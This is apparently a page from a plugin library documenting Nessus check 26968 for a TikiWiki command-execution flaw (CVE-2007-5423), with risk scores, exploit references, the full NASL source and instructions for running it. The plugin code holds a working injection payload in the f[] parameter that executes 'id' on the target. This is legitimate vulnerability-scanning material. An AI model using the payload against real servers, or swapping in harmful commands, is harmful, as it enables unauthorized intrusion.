TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution - Nessus

High Plugin ID: 26968

This page contains detailed information about the TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

hide

Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 26968
Name: TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution
Filename: tikiwiki_f_cmd_exec.nasl
Vulnerability Published: N/A
This Plugin Published: 2007-10-11
Last Modification Time: 2022-04-11
Plugin Version: 1.26
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: tikiwiki_detect.nasl
Required KB Items [?]: www/PHP, www/tikiwiki
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information

Severity: High
Vulnerability Published: N/A
Patch Published: N/A
CVE [?]: CVE-2007-5423
CPE [?]: cpe:/a:tikiwiki:tikiwiki

Synopsis

The remote web server contains a PHP script that allows arbitrary command execution.

Description

The remote host is running TikiWiki, an open source wiki application written in PHP.

The version of TikiWiki on the remote host fails to sanitize input to the 'f[]' parameter of the 'tiki-graph_formula.php' script before using it as a function call. Regardless of PHP's 'register_globals' setting, an unauthenticated attacker can leverage this issue to execute arbitrary code on the remote host subject to the privileges of the web server user id.

Solution

Upgrade to TikiWiki version 1.9.8.1 or later.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas, Core Impact)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution vulnerability:

Metasploit: exploit/unix/webapp/tikiwiki_graph_formula_exec
[TikiWiki tiki-graph_formula Remote PHP Code Execution]
Exploit-DB: exploits/php/webapps/16911.rb
[EDB-16911: TikiWiki tiki-graph_formula - PHP Remote Code Execution (Metasploit)]
Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.2 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.2 (Medium)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	8.2 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.2 (High)

Go back to menu.

Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(26968);
  script_version("1.26");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2007-5423");
  script_bugtraq_id(26006);

  script_name(english:"TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that allows arbitrary
command execution.");
  script_set_attribute(attribute:"description", value:
"The remote host is running TikiWiki, an open source wiki application
written in PHP.

The version of TikiWiki on the remote host fails to sanitize input to
the 'f[]' parameter of the 'tiki-graph_formula.php' script before
using it as a function call.  Regardless of PHP's 'register_globals'
setting, an unauthenticated attacker can leverage this issue to
execute arbitrary code on the remote host subject to the privileges of
the web server user id.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/482006/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"https://tiki.org/tiki-read_article.php?articleId=14");
  script_set_attribute(attribute:"solution", value:
"Upgrade to TikiWiki version 1.9.8.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'TikiWiki tiki-graph_formula Remote PHP Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");
  script_cwe_id(94);

  script_set_attribute(attribute:"plugin_publication_date", value:"2007/10/11");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:tikiwiki:tikiwiki");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("tikiwiki_detect.nasl");
  script_require_keys("www/PHP", "www/tikiwiki");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80,php:TRUE);

install = get_install_from_kb(appname:'tikiwiki', port:port, exit_on_fail:TRUE);
dir = install['dir'];

# Try to exploit the issue to run a command.
cmd = "id";

if (thorough_tests) ts = make_list("pdf", "png");
else ts = make_list("pdf");

foreach t (ts)
{
  w = http_send_recv3(method:"GET",
      item:string(
        dir , "/tiki-graph_formula.php?",
        "w=1&",
        "h=1&",
        "s=1&",
        "min=1&",
        "max=2&",
        "f[]=x.tan.system(", cmd, ")&",
        "t=", t, "&",
        "title="
      ),
      port:port
    );
  if (isnull(w)) exit(1, "the web server did not answer");
  res = w[2];

  line = egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res);
  if (line)
  {
    report = string(
      "\n",
      "It was possible to execute the command '", cmd, "' on the remote host,\n",
      "which produces the following output :\n",
      "\n",
      "  ", data_protection::sanitize_uid(output:line)
      );
   security_hole(port:port, extra:report);
   exit(0);
  }
}

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/tikiwiki_f_cmd_exec.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\tikiwiki_f_cmd_exec.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/tikiwiki_f_cmd_exec.nasl

Go back to menu.

How to Run

Here is how to run the TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution plugin ID 26968.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl tikiwiki_f_cmd_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a tikiwiki_f_cmd_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - tikiwiki_f_cmd_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state tikiwiki_f_cmd_exec.nasl -t <IP/HOST>

Go back to menu.

References

BID | SecurityFocus Bugtraq ID:

26006

CWE | Common Weakness Enumeration:

CWE-94 (Weakness) Improper Control of Generation of Code ('Code Injection')

See also:

Similar and related Nessus plugins:

27553 - GLSA-200710-21 : TikiWiki: Arbitrary command execution
28219 - GLSA-200711-19 : TikiWiki: Multiple vulnerabilities
46737 - TikiWiki tiki-lastchanges.php Empty sort_mode Parameter Information Disclosure
22303 - TikiWiki jhot.php Arbitrary File Upload
14364 - TikiWiki < 1.8.2 Multiple Input Validation Vulnerabilities
61733 - TikiWiki unserialize() Function Arbitrary Code Execution
49706 - TikiWiki 'tiki-edit_wiki_section.php' type Parameter XSS
22490 - FreeBSD : tikiwiki -- multiple vulnerabilities (e4c62abd-5065-11db-a5ae-00508d6a62df)
18647 - GLSA-200507-06 : TikiWiki: Arbitrary command execution through XML-RPC
22460 - GLSA-200609-16 : Tikiwiki: Arbitrary command execution

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file tikiwiki_f_cmd_exec.nasl version 1.26. For more plugins, visit the Nessus Plugin Library.

Go back to menu.

TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

Nessus Plugin Library

Solving Problems with Office 365 Email from GoDaddy

Empire Module Library

CrackMapExec Module Library

Metasploit Android Modules

Top 16 Active Directory Vulnerabilities

Top 10 Vulnerabilities: Internal Infrastructure Pentest

Terminal Escape Injection

Cisco Password Cracking and Decrypting Guide

Capture Passwords using Wireshark

SSH Brute Force Attack Tool using PuTTY / Plink (ssh-putty-brute.ps1)

SMB Brute Force Attack Tool in PowerShell (SMBLogin.ps1)

Port Scanner in PowerShell (TCP/UDP)

Nessus CSV Parser and Extractor

Default Password Scanner (default-http-login-hunter.sh)